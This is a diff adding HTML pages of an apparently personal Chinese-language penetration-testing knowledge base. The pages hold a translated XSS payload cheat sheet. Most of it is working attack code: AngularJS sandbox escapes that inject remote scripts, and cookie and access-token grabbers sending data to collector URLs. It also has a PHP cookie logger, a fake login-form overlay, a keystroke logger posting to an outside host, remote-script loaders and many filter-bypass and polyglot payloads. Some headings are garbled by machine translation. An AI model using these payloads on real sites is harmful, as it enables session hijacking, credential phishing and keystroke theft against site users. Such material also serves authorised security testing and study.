a=toString().constructor.prototype;a.charAt=a.trim;
$eval('a,eval(`
var _=document\\x2ecreateElement(\'script\');
_\\x2esrc=\'//localhost/m\';
document\\x2ebody\\x2eappendChild(_);`),a')

+

1.4.0-1.5.8 作者:加雷斯 · 海耶斯(PortSwigger)

+

a=toString().constructor.prototype;a.charAt=a.trim;
$eval('a,eval(`var _=document.createElement(\'script\');
_.src=\'//localhost/m\';document.body.appendChild(_);`),a')

+

1.5.9-1.5.11 作者:Jan Horn(Cure53,现就职于 Google Project Zero)

+

c=''.sub.call;b=''.sub.bind;a=''.sub.apply;c.$apply=$apply;
c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("astNode=pop();astNode.type='UnaryExpression';astNode.operator='(window.X?void0:(window.X=true,eval(`var _=document.createElement(\\'script\\');_.src=\\'//localhost/m\\';document.body.appendChild(_);`)))+';astNode.argument={type:'Identifier',name:'foo'};");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;

+

自动消毒​

+
+

为了系统地阻止 XSS 错误,Angular 默认情况下将所有值视为不可信。当一个值通过属性、属性、样式、类绑定或插值从模板插入 DOM 时,Angular 会清除和转义不受信任的值。

+
+

但是,可以将值标记为可信,并使用以下方法阻止自动清除:

+
    +
  • bypassSecurityTrustHtml
  • +
  • bypassSecurityTrustScript
  • +
  • 旁路安全信任样式
  • +
  • bypassSecurityTrustUrl
  • +
  • bypassSecurityTrustResourceUrl
  • +
+

使用不安全方法的组件示例 bypassSecurityTrustUrl:

+
import { Component, OnInit } from '@angular/core';

@Component({
selector: 'my-app',
template: `
<h4>An untrusted URL:</h4>
<p><a class="e2e-dangerous-url" [href]="dangerousUrl">Click me</a></p>
<h4>A trusted URL:</h4>
<p><a class="e2e-trusted-url" [href]="trustedUrl">Click me</a></p>
`,
})
export class App {
constructor(private sanitizer: DomSanitizer) {
this.dangerousUrl = 'javascript:alert("Hi there")';
this.trustedUrl = sanitizer.bypassSecurityTrustUrl(this.dangerousUrl);
}
}
+

XSS

+

在进行代码审查时,您希望确保没有用户输入是可信的,因为它会在应用程序中引入安全漏洞。

+

参考文献​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSWithRelativePathOverwrite/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSWithRelativePathOverwrite/index.html new file mode 100644 index 0000000..e658701 --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/XSSWithRelativePathOverwrite/index.html @@ -0,0 +1,49 @@ + + + + + +02.XSSWithRelativePathOverwrite.md | wjlin0 + + + + + + + +

02.XSSWithRelativePathOverwrite.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 09:51:19
+

具有相对路径覆盖的 XSS-IE 8/9 及更低版本

+

您需要这 3 个组件

+
1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
2) URL Rewriting.
3) Relative addressing to CSS style sheet : ../style.css
+

一个小例子

+
http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
</body>
</html>
+

漏洞的解释

+
+

Meta 元素强制 IE 的文档模式与执行表达式所需的 IE7 兼容。我们的持久文本{} * { xss:expression(open(alert(1)))包含在页面上,在实际情况下,它将是一个配置文件页面,或者可能是其他用户可以查看的共享状态更新。我们使用“open”来防止重复执行警报的客户端 DoS。 +一个简单的“rpo.php/”请求使相对样式将页面本身加载为样式表。实际的请求是“/labs/xss_horror_show/chapter7/rpo.php/styles.css”,浏览器认为还有另一个目录,但实际的请求被发送到文档,这本质上就是 rpo 攻击的工作方式。

+
+

演示 1 位于 http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php 演示 2 位于 http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3 多浏览器:

+

发件人: http://www.thespanner.co.uk/2014/03/21/rpo/

+

浏览器 IE8/IE9 的变异 XSS​

+
<listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing>
<script>alert(document.getElementById('x').innerHTML)</script>
+

IE 将多次读取和写入(解码)HTML,攻击者 XSS 负载将发生变异并执行。

+

参考文献​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/index.html b/en/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/index.html new file mode 100644 index 0000000..42bed8d --- /dev/null +++ b/en/docs/个人知识库/渗透测试/WEB漏洞/XSS注入/index.html @@ -0,0 +1,569 @@ + + + + + +XSS注入 | wjlin0 + + + + + + + +

XSS注入

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:31:55
+

跨站点脚本

+
+

跨站点脚本(XSS)是一种计算机安全漏洞,通常存在于 web 应用程序中。XSS 使攻击者能够将客户端脚本注入其他用户查看的网页。

+
+

总结​

+ +

漏洞详细信息​

+

跨站点脚本(XSS)是一种计算机安全漏洞,通常存在于 web 应用程序中。XSS 允许攻击者将恶意代码注入网站,然后在任何访问该网站的人的浏览器中执行。这可能允许攻击者窃取敏感信息,如用户登录凭据,或执行其他恶意操作。

+

XSS 攻击主要有三种类型:

+
    +
  • +

    脚本漏洞:在反射 XSS 攻击中,恶意代码嵌入发送给受害者的链接中。当受害者点击链接时,代码会在他们的浏览器中执行。例如,攻击者可以创建一个包含恶意 JavaScript 的链接,并通过电子邮件将其发送给受害者。当受害者点击链接时,JavaScript 代码会在他们的浏览器中执行,使攻击者能够执行各种操作,例如窃取他们的登录凭据。

    +
  • +
  • +

    存储型跨站脚本漏洞:在存储 XSS 攻击中,恶意代码存储在服务器上,每次访问易受攻击的页面时都会执行。例如,攻击者可以在博客文章的评论中注入恶意代码。当其他用户查看博客文章时,恶意代码会在他们的浏览器中执行,使攻击者能够执行各种操作。

    +
  • +
  • +

    基于 DOM 的 XSS:是一种 XSS 攻击,当易受攻击的 web 应用程序修改用户浏览器中的 DOM(文档对象模型)时会发生这种攻击。例如,当用户输入以某种方式用于更新页面的 HTML 或 JavaScript 代码时,就会发生这种情况。在基于 DOM 的 XSS 攻击中,恶意代码不会发送到服务器,而是直接在用户的浏览器中执行。这可能会使检测和预防这些类型的攻击变得困难,因为服务器没有任何恶意代码的记录。

    +
  • +
+

为了防止 XSS 攻击,正确验证和净化用户输入非常重要。这意味着确保所有输入都符合必要的标准,并删除任何潜在的危险字符或代码。在浏览器中呈现用户输入之前,转义用户输入中的特殊字符也很重要,以防止浏览器将其解释为代码。

+

利用代码或 POC​

+

XSS 数据采集器​

+

获得管理员 cookie 或敏感访问令牌后,以下负载将其发送到受控页面。

+
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>
+

将收集到的数据写入文件。

+
<?php
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie."\r\n");
fclose($fp);
?>
+

紧身胸衣​

+
<script>
fetch('https://<SESSION>.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
+

界面伪装​

+

利用 XSS 修改页面的 HTML 内容,以显示虚假的登录表单。

+
<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>
+

Javascript 键盘记录程序​

+

另一种收集敏感数据的方法是设置一个 javascript 键盘记录程序。

+
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
+

其他方式​

+

http://www.xss-payloads.com/payloads-list.html?a#category=all上的更多漏洞利用:

+ +

识别 XSS 端点​

+

此负载在开发人员控制台中打开调试器,而不是触发弹出警报框。

+
<script>debugger;</script>
+

具有内容托管的现代应用程序可以使用 [沙盒域][沙盒域]

+
+

以安全地托管各种类型的用户生成的内容。其中许多沙盒专门用于隔离用户上传的 HTML、JavaScript 或 Flash 小程序,并确保它们不能访问任何用户数据。

+
+

因此,最好使用 alert(document.domain) 或而不是作为默认 XSS 有效载荷,以便了解 XSS 实际在哪个范围内执行。

+

更好的有效载荷更换 <script>alert(1)</script>:

+
<script>alert(document.domain.concat("\n").concat(window.origin))</script>
+

虽然 alert() 对于反射的 XSS 来说很好,但它可能会很快成为存储的 XSS 的负担,因为每次执行都需要关闭弹出窗口,因此可以使用 console.log() 在开发人员控制台的控制台中显示消息(不需要任何交互)。

+

示例:

+
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>
+

参考文献:

+ +

工具​

+

大多数工具也适用于盲目的 XSS 攻击:

+
    +
  • XSSStrike:非常受欢迎,但遗憾的是维护得不太好
  • +
  • xsser:利用无头浏览器检测 XSS 漏洞
  • +
  • Dalfox:由于 Go 中的实现,功能广泛且速度极快
  • +
  • XSpear:类似于 Dalfox,但基于 Ruby
  • +
  • domdig:无头铬 XSS 测试仪
  • +
+

HTML/应用程序中的 XSS​

+

普通有效载荷​

+
// Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">

// Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>

// Svg payload
<svg onload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;

// Div payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>
+

使用 HTML5 标记的 XSS​

+
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>

<body ontouchstart=alert(1)> // Triggers when a finger touch the screen
<body ontouchend=alert(1)> // Triggers when a finger is removed from touch screen
<body ontouchmove=alert(1)> // When a finger is dragged across the screen.
+

使用远程 JS 的 XSS​

+
<svg/onload='fetch("//host/a").then(r=>r.text().then(t=>eval(t)))'>
<script src=14.rs>
// you can also specify an arbitrary payload with 14.rs/#payload
e.g: 14.rs/#alert(document.domain)
+

隐藏输入中的 XSS​

+
<input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event
+

有效载荷反映为大写时的 XSS​

+
<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>
+

基于 DOM 的 XSS​

+

基于 DOM XSS 接收器。

+
#"><img src=/ onerror=alert(2)>
+

JS 上下文中的 XSS​

+
-(confirm)(document.domain)//
; alert(1);//
// (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)
+

包装器中的 XSS javascript 和数据 URI​

+

带有 javascript 的 XSS:

+
javascript:prompt(1)

%26%23106%26%2397%26%23118%26%2397%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2358%26%2399%26%23111%26%23110%26%23102%26%23105%26%23114%26%23109%26%2340%26%2349%26%2341

&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#99&#111&#110&#102&#105&#114&#109&#40&#49&#41

We can encode the "javascript:" in Hex/Octal
\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3aalert(1)
\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003aalert(1)
\152\141\166\141\163\143\162\151\160\164\072alert(1)

We can use a 'newline character'
java%0ascript:alert(1) - LF (\n)
java%09script:alert(1) - Horizontal tab (\t)
java%0dscript:alert(1) - CR (\r)

Using the escape character
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)

Using the newline and a comment //
javascript://%0Aalert(1)
javascript://anything%0D%0A%0D%0Awindow.alert(1)
+

XSS 带数据:

+
data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
+

带 vbscript 的 XSS:仅 IE

+
vbscript:msgbox("XSS")
+

文件中的 XSS​

+

** 注意:这里使用 XML CDATA 部分,这样 JavaScript 负载就不会被视为 XML 标记。

+
<name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name>
+

XML 中的 XSS​

+
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
+

XSS 和 SVG​

+
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
+

SVG 中的 XSS(短)​

+
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
+

降价中的 XSS​

+
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
+

SWF 闪存应用程序中的 XSS​

+
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(‘?js=history.go(-1)’,’_self’);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(‘invalidfileinvalidfileinvalidfile’,’target’);setTimeout(‘alert(w.document.location);w.close();’,1);
+

更多有效载荷进入/文件

+

SWF 闪存应用程序中的 XSS​

+
flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
ZeroClipboard.swf?id=\"))} catch(e) {alert(1);}//&width=1000&height=1000
swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
swfupload.swf?buttonText=test<a href="javascript:confirm(1)"><img src="https://web.archive.org/web/20130730223443im_/http://appsec.ws/ExploitDB/cMon.jpg"/></a>&.swf
plupload.flash.swf?%#target%g=alert&uid%g=XSS&
moxieplayer.swf?url=https://github.com/phwd/poc/blob/master/vid.flv?raw=true
video-js.swf?readyFunction=alert(1)
player.swf?playerready=alert(document.cookie)
player.swf?tracecall=alert(document.cookie)
banner.swf?clickTAG=javascript:alert(1);//
io.swf?yid=\"));}catch(e){alert(1);}//
video-js.swf?readyFunction=alert%28document.domain%2b'%20XSSed!'%29
bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//
+

CSS 中的 XSS​

+
<!DOCTYPE html>
<html>
<head>
<style>
div {
background-image: url("data:image/jpg;base64,<\/style><svg/onload=alert(document.domain)>");
background-color: #cccccc;
}
</style>
</head>
<body>
<div>lol</div>
</body>
</html>
+

PostMessage 中的 XSS​

+
+

如果目标来源为星号 *,则可以将消息发送到引用了子页面的任何域。

+
+
<html>
<body>
<input type=button value="Click Me" id="btn">
</body>

<script>
document.getElementById('btn').onclick = function(e){
window.poc = window.open('http://www.redacted.com/#login');
setTimeout(function(){
window.poc.postMessage(
{
"sender": "accounts",
"url": "javascript:confirm('XSS')",
},
'*'
);
}, 2000);
}
</script>
</html>
+

盲 XSS​

+

XSS 猎人​

+
+

XSS Hunter 允许您查找各种跨站点脚本漏洞,包括经常错过的盲目 XSS。该服务通过托管专门的 XSS 探测来工作,在启动时,扫描页面并将有关易受攻击页面的信息发送给 XSS Hunter 服务。

+
+

XSS Hunter 已被弃用,它可在https://xsshunter.com/app上获得。

+

您可以设置替代版本

+ +
"><script src="https://js.rip/<custom.name>"></script>
"><script src=//<custom.subdomain>.xss.ht></script>
<script>$.getScript("//<custom.subdomain>.xss.ht")</script>
+

其他盲 XSS 工具​

+ +

盲 XSS 端点​

+
    +
  • 联系人表格
  • +
  • 票务支持
  • +
  • 引用人标题 +
      +
    • 自定义网站分析
    • +
    • 管理面板日志
    • +
    +
  • +
  • 用户代理 +
      +
    • 自定义网站分析
    • +
    • 管理面板日志
    • +
    +
  • +
  • 注释框 +
      +
    • 管理小组
    • +
    +
  • +
+

小贴士​

+

在部署重型盲 XSS 测试工具之前,您可以使用XSS 数据采集器和单行 HTTP 服务器来确认盲 XSS 的存在。

+

例如有效载荷

+
<script>document.location='http://10.10.14.30:8080/XSS/grabber.php?c='+document.domain</script>
+

例如,单行 HTTP 服务器:

+
$ ruby -run -ehttpd . -p8080
+

突变 XSS​

+

当 HTML 标记位于 element.innerHTML 中时,请使用浏览器怪癖重新创建一些 HTML 标记。

+

来自 Masato Kinugawa 的突变 XSS,用于对抗谷歌搜索上的 DOMPurify 组件。技术博客文章可在https://www.acunetix.com/blog/web-security-zone/mutation-xss-in-google-search/ 和上获得

+
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
+

Polyglot XSS​

+

XSS Polyglot-0xsobky

+
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
+

XSS Polyglot-Ashar Javed

+
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+

XSS Polyglot-马蒂亚斯 · 卡尔松

+
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
+

Polyglot XSS-R 蛇

+
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
+

Daniel Miessler 的 Polyglot XSS

+
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
+

Polyglot XSS-@s0md3vXSS 备忘单-PortSwigger

+
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
+

https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg

+
<svg%0Ao%00nload=%09((pro\u006dpt))()//
+

Polyglot XSS-来自@ 文件描述符的 Polyglot 挑战

+
# by crlf
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

# by europa
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/-->&lt;svg/onload=/*<html/*/onmouseover=alert()//>

# by EdOverflow
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>

# by h1/ragnar
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template>&lt;svg/onload='/*--><html */ onmouseover=alert()//'>`
+

Polyglot XSS-来自brutelogic

+
JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
+

过滤器旁路和奇异有效载荷​

+

旁路区分大小写​

+
<sCrIpt>alert(1)</ScRipt>
+

绕过标签黑名单​

+
<script x>
<script x>alert('XSS')<script y>
+

通过代码评估绕过单词黑名单​

+
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
+

绕过不完整的 html 标记​

+

适用于 IE/Firefox/Chrome/Safari

+
<img src='1' onerror='alert(0)' <
+

跳过字符串的引号​

+
String.fromCharCode(88,83,83)
+

绕过脚本标记中的引号​

+
http://localhost/bla.php?test=</script><script>alert(1)</script>
<html>
<script>
<?php echo 'foo="text '.$_GET['test'].'";';`?>
</script>
</html>
+

在 mousedown 事件中绕过引号​

+

您可以在鼠标按下事件处理程序中绕过带有“”的单引号

+
<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>
+

旁路点过滤器​

+
<script>window['alert'](document['domain'])</script>
+

将 IP 地址转换为十进制格式:IE

+
<script>eval(atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))<script>
+

Base64 使用 Linux 命令对 XSS 有效负载进行编码:IE。 echo -n "alert(document.cookie)" | base64 =

+

字符串不使用括号​

+
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
+

绕过括号和分号​

+
// From @garethheyes
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>

// From @terjanq
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>

// From @cgvwzq
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
+

绕过 onxxxx= 黑名单​

+
<object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)>

// Bypass onxxx= filter with a null byte/vertical tab
<img src='1' onerror\x00=alert(0) />
<img src='1' onerror\x0b=alert(0) />

// Bypass onxxx= filter with a '/'
<img src='1' onerror/=alert(0) />
+

旁路空间过滤器​

+
// Bypass space filter with "/"
<img/src='1'/onerror=alert(0)>

// Bypass space filter with 0x0c/^L
<svg onload = alert(1) >

$ echo "<svg^Lonload^L=^Lalert(1)^L>" | xxd
00000000: 3c73 7667 0c6f 6e6c 6f61 640c 3d0c 616c <svg.onload.=.al
00000010: 6572 7428 3129 0c3e 0a ert(1).>.
+

绕过电子邮件筛选器​

+

(符合 RFC)

+
"><svg/onload=confirm(1)>"@x.y
+

绕过文档黑名单​

+
<div id = "x"></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>
window["doc"+"ument"]
+

绕过 document.cookie 黑名单​

+

这是在 Chrome、Edge 和 Opera 上访问 cookie 的另一种方式。将 COOKIE NAME 替换为您想要的 COOKIE。如果 getAll()方法适合您的需求,您也可以研究它。

+
window.cookieStore.get('COOKIE NAME').then((cookieValue)=>{alert(cookieValue.value);});
+

绕过在字符串中使用 javascript​

+
<script>
foo="text </script><script>alert(1)</script>";
</script>
+

绕过使用其他方式重定向​

+
location="http://google.com"
document.location = "http://google.com"
document.location.href="http://google.com"
window.location.assign("http://google.com")
window['location']['href']="http://google.com"
+

绕过使用其他方式执行警报​

+

来自@ 野蛮的推特。

+
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)

[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
+

来自@theMiddle-使用全局变量

+

Object.keys()方法返回给定对象自己的属性名称的数组,其顺序与普通循环相同。这意味着我们可以使用其索引号而不是函数名称访问任何 JavaScript 函数。

+
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
// 5
+

那么调用警报是:

+
Object.keys(self)[5]
// "alert"
self[Object.keys(self)[5]]("1") // alert("1")
+

我们可以找到带有正则表达式的“alert”,如 ^a[rel]+t$:

+
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} //bind function alert on new function a()

// then you can use a() with Object.keys

self[Object.keys(self)[a()]]("1") // alert("1")
+

在线:

+
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}};self[Object.keys(self)[a()]]("1")
+

来自@quanyang推特。

+
prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'
+

来自@404death推特。

+
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;

constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();

top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);

open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';

setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
+

绕过使用其他方式触发警报

+
var i = document.createElement("iframe");
i.onload = function(){
i.contentWindow.alert(1);
}
document.appendChild(i);

// Bypassed security
XSSObject.proxy = function (obj, name, report_function_name, exec_original) {
var proxy = obj[name];
obj[name] = function () {
if (exec_original) {
return proxy.apply(this, arguments);
}
};
XSSObject.lockdown(obj, name);
};
XSSObject.proxy(window, 'alert', 'window.alert', false);
+

不使用任何内容绕过“>”​

+

您不需要关闭您的标签。

+
<svg onload=alert(1)//
+

使用<和>绕过“< gt r =”251“/>”​

+

Unicode 字符 U+FF1C 和 U+FF1E

+
<script/src=//evil.site/poc.js>
+

使用其他字符跳过“;”​

+
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
+

绕过使用 HTML 编码​

+
%26%2397;lert(1)
&#97;&#108;&#101;&#114;&#116;
